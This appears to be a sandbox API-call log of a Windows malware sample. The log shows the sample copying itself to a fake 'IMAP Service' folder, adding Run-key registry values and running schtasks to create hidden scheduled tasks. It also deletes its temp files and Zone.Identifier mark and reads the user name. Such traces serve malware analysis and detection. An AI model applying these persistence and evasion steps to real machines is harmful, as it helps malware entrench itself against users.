[0170.559] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x612688, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe")) returned 0x3b
[0171.258] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e458, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e
[0171.258] GetLastError () returned 0x0
[0171.258] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47
[0171.258] GetLastError () returned 0x0
[0171.315] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e454, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47
[0171.315] GetLastError () returned 0x0
[0171.315] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e488, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47
[0171.315] GetLastError () returned 0x0
[0171.315] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", nBufferLength=0x105, lpBuffer=0x18e488, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", lpFilePart=0x0) returned 0x2e
[0171.315] GetLastError () returned 0x0
[0171.316] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe"), lpNewFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe" (normalized: "c:\\program files (x86)\\imap service\\imapsv.exe"), bFailIfExists=1) returned 1
[0171.334] GetLastError () returned 0x0
[0171.334] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x18e91c | out: phkResult=0x18e91c*=0x204) returned 0x0
[0171.335] RegQueryValueExW (in: hKey=0x204, lpValueName="IMAP Service", lpReserved=0x0, lpType=0x18e91c, lpData=0x0, lpcbData=0x18e918*=0x0 | out: lpType=0x18e91c*=0x0, lpData=0x0, lpcbData=0x18e918*=0x0) returned 0x2
[0171.409] RegSetValueExW (in: hKey=0x204, lpValueName="IMAP Service", Reserved=0x0, dwType=0x1, lpData="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", cbData=0x5e | out: lpData="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe") returned 0x0
[0171.421] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x18e8e8 | out: phkResult=0x18e8e8*=0x200) returned 0x0
[0171.421] RegQueryValueExW (in: hKey=0x200, lpValueName="IMAP Service", lpReserved=0x0, lpType=0x18e924, lpData=0x0, lpcbData=0x18e920*=0x0 | out: lpType=0x18e924*=0x0, lpData=0x0, lpcbData=0x18e920*=0x0) returned 0x2
[0171.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47
[0171.421] GetLastError () returned 0x0
[0172.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\IMAP Service\\imapsv.exe", nBufferLength=0x105, lpBuffer=0x18e48c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\IMAP Service\\imapsv.exe", lpFilePart=0x0) returned 0x6a
[0172.413] GetLastError () returned 0x0
[0172.413] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\IMAP Service\\imapsv.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\imap service\\imapsv.exe")) returned 0
[0172.413] GetLastError () returned 0x3
[0173.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e474, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47
[0173.695] GetLastError () returned 0x2
[0173.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e474, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47
[0173.695] GetLastError () returned 0x2
[0175.104] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x612688 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25
[0175.104] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e478, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e
[0175.105] GetLastError () returned 0x2
[0175.105] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x18e4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31
[0175.105] GetLastError () returned 0x2
[0175.105] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x18e440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31
[0175.105] GetLastError () returned 0x2
[0175.106] GetTempFileNameW (in: lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpPrefixString="tmp", uUnique=0x0, lpTempFileName=0x612688 | out: lpTempFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmp4ef.tmp")) returned 0x4ef
[0175.106] GetLastError () returned 0x0
[0175.107] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", nBufferLength=0x105, lpBuffer=0x18e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", lpFilePart=0x0) returned 0x3b
[0175.107] GetLastError () returned 0x0
[0175.107] SetErrorMode (uMode=0x1) returned 0x0
[0175.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmp4ef.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x220
[0175.107] GetLastError () returned 0xb7
[0175.107] GetFileType (hFile=0x220) returned 0x1
[0175.107] SetErrorMode (uMode=0x0) returned 0x1
[0175.107] GetFileType (hFile=0x220) returned 0x1
[0175.108] CloseHandle (hObject=0x220) returned 1
[0175.109] GetLastError () returned 0xb7
[0175.702] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x612688 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned 0x30
[0175.702] GetLastError () returned 0xb7
[0175.703] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"schtasks.exe\" /create /f /tn \"IMAP Service\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", lpStartupInfo=0x6126a0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x234ee74 | out: lpCommandLine="\"schtasks.exe\" /create /f /tn \"IMAP Service\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp\"", lpProcessInformation=0x234ee74*(hProcess=0x224, hThread=0x220, dwProcessId=0xb60, dwThreadId=0xb64)) returned 1
[0175.706] GetLastError () returned 0xb7
[0175.706] CloseHandle (hObject=0x220) returned 1
[0175.706] GetLastError () returned 0xb7
[0175.707] GetCurrentProcess () returned 0xffffffff
[0175.707] GetLastError () returned 0xb7
[0175.707] GetCurrentProcess () returned 0xffffffff
[0175.707] GetLastError () returned 0xb7
[0175.708] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x224, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x18e8b8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18e8b8*=0x220) returned 1
[0175.708] GetLastError () returned 0xb7
[0178.091] CloseHandle (hObject=0x220) returned 1
[0178.091] GetLastError () returned 0xb7
[0178.277] GetExitCodeProcess (in: hProcess=0x224, lpExitCode=0x18e934 | out: lpExitCode=0x18e934*=0x0) returned 1
[0178.277] GetLastError () returned 0xb7
[0178.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", nBufferLength=0x105, lpBuffer=0x18e4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", lpFilePart=0x0) returned 0x3b
[0178.277] GetLastError () returned 0xb7
[0178.277] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmp4ef.tmp")) returned 1
[0178.277] GetLastError () returned 0xb7
[0178.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e474, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47
[0178.277] GetLastError () returned 0xb7
[0178.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\task.dat", nBufferLength=0x105, lpBuffer=0x18e340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\task.dat", lpFilePart=0x0) returned 0x5b
[0178.281] GetLastError () returned 0xb7
[0178.281] SetErrorMode (uMode=0x1) returned 0x0
[0178.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\task.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\task.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x220
[0178.282] GetLastError () returned 0x0
[0178.282] GetFileType (hFile=0x220) returned 0x1
[0178.282] SetErrorMode (uMode=0x0) returned 0x1
[0178.282] GetFileType (hFile=0x220) returned 0x1
[0178.282] WriteFile (in: hFile=0x220, lpBuffer=0x2350e70*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x18e898, lpOverlapped=0x0 | out: lpBuffer=0x2350e70*, lpNumberOfBytesWritten=0x18e898*=0x47, lpOverlapped=0x0) returned 1
[0178.282] GetLastError () returned 0x0
[0178.282] CloseHandle (hObject=0x220) returned 1
[0178.283] GetLastError () returned 0x0
[0178.283] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x612688 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25
[0178.283] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e478, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e
[0178.284] GetLastError () returned 0x0
[0178.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x18e4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31
[0178.284] GetLastError () returned 0x0
[0178.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x18e440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31
[0178.284] GetLastError () returned 0x0
[0178.284] GetTempFileNameW (in: lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpPrefixString="tmp", uUnique=0x0, lpTempFileName=0x612688 | out: lpTempFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmpd88.tmp")) returned 0xd88
[0178.284] GetLastError () returned 0x0
[0178.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", nBufferLength=0x105, lpBuffer=0x18e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", lpFilePart=0x0) returned 0x3b
[0178.284] GetLastError () returned 0x0
[0178.284] SetErrorMode (uMode=0x1) returned 0x0
[0178.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmpd88.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x220
[0178.285] GetLastError () returned 0xb7
[0178.285] GetFileType (hFile=0x220) returned 0x1
[0178.285] SetErrorMode (uMode=0x0) returned 0x1
[0178.285] GetFileType (hFile=0x220) returned 0x1
[0178.285] WriteFile (in: hFile=0x220, lpBuffer=0x2354a88*, nNumberOfBytesToWrite=0x51d, lpNumberOfBytesWritten=0x18e888, lpOverlapped=0x0 | out: lpBuffer=0x2354a88*, lpNumberOfBytesWritten=0x18e888*=0x51d, lpOverlapped=0x0) returned 1
[0178.285] GetLastError () returned 0xb7
[0178.285] CloseHandle (hObject=0x220) returned 1
[0178.286] GetLastError () returned 0xb7
[0178.286] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x612688 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned 0x30
[0178.286] GetLastError () returned 0xb7
[0178.286] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"schtasks.exe\" /create /f /tn \"IMAP Service Task\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", lpStartupInfo=0x6126a0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2355d58 | out: lpCommandLine="\"schtasks.exe\" /create /f /tn \"IMAP Service Task\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp\"", lpProcessInformation=0x2355d58*(hProcess=0x22c, hThread=0x220, dwProcessId=0xb78, dwThreadId=0xb7c)) returned 1
[0178.289] GetLastError () returned 0xb7
[0178.289] CloseHandle (hObject=0x220) returned 1
[0178.289] GetLastError () returned 0xb7
[0178.289] GetCurrentProcess () returned 0xffffffff
[0178.289] GetLastError () returned 0xb7
[0178.289] GetCurrentProcess () returned 0xffffffff
[0178.289] GetLastError () returned 0xb7
[0178.289] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x22c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x18e8b8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18e8b8*=0x220) returned 1
[0178.289] GetLastError () returned 0xb7
[0182.433] CloseHandle (hObject=0x220) returned 1
[0182.434] GetLastError () returned 0xb7
[0182.434] GetExitCodeProcess (in: hProcess=0x22c, lpExitCode=0x18e934 | out: lpExitCode=0x18e934*=0x0) returned 1
[0182.434] GetLastError () returned 0xb7
[0182.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", nBufferLength=0x105, lpBuffer=0x18e4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", lpFilePart=0x0) returned 0x3b
[0182.434] GetLastError () returned 0xb7
[0182.434] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmpd88.tmp")) returned 1
[0182.434] GetLastError () returned 0xb7
[0182.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47
[0182.436] GetLastError () returned 0xb7
[0182.440] DeleteFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe:Zone.Identifier" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe:zone.identifier")) returned 0
[0182.467] GetSystemInfo (in: lpSystemInfo=0x18e1c0 | out: lpSystemInfo=0x18e1c0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03))
[0182.468] GetLastError () returned 0x2
[0182.954] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\catalog.dat", nBufferLength=0x105, lpBuffer=0x18e340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\catalog.dat", lpFilePart=0x0) returned 0x5e
[0182.954] GetLastError () returned 0x0
[0182.954] SetErrorMode (uMode=0x1) returned 0x0
[0182.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\catalog.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\catalog.dat"), fInfoLevelId=0x0, lpFileInformation=0x18e7c0 | out: lpFileInformation=0x18e7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0182.955] GetLastError () returned 0x2
[0182.955] SetErrorMode (uMode=0x0) returned 0x1
[0182.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\storage.dat", nBufferLength=0x105, lpBuffer=0x18e348, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\storage.dat", lpFilePart=0x0) returned 0x5e
[0182.984] GetLastError () returned 0x2
[0182.984] SetErrorMode (uMode=0x1) returned 0x0
[0182.984] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\storage.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\storage.dat"), fInfoLevelId=0x0, lpFileInformation=0x18e7c8 | out: lpFileInformation=0x18e7c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0182.984] GetLastError () returned 0x2
[0182.984] SetErrorMode (uMode=0x0) returned 0x1
[0186.005] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bin", nBufferLength=0x105, lpBuffer=0x18e468, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bin", lpFilePart=0x0) returned 0x5f
[0186.005] GetLastError () returned 0x2
[0186.005] SetErrorMode (uMode=0x1) returned 0x0
[0186.005] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\settings.bin"), fInfoLevelId=0x0, lpFileInformation=0x18e8e8 | out: lpFileInformation=0x18e8e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0186.005] GetLastError () returned 0x2
[0186.005] SetErrorMode (uMode=0x0) returned 0x1
[0186.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bak", nBufferLength=0x105, lpBuffer=0x18e380, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bak", lpFilePart=0x0) returned 0x5f
[0186.376] GetLastError () returned 0x2
[0186.376] SetErrorMode (uMode=0x1) returned 0x0
[0186.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\settings.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\settings.bak"), fInfoLevelId=0x0, lpFileInformation=0x18e800 | out: lpFileInformation=0x18e800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0186.376] GetLastError () returned 0x2
[0186.376] SetErrorMode (uMode=0x0) returned 0x1
[0187.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x18db64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", lpFilePart=0x0) returned 0x4a
[0187.112] GetLastError () returned 0x0
[0187.115] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x18db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", lpFilePart=0x0) returned 0x4a
[0187.115] GetLastError () returned 0x0
[0187.118] GetUserNameW (in: lpBuffer=0x612688, pcbBuffer=0x18e15c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e15c) returned 1
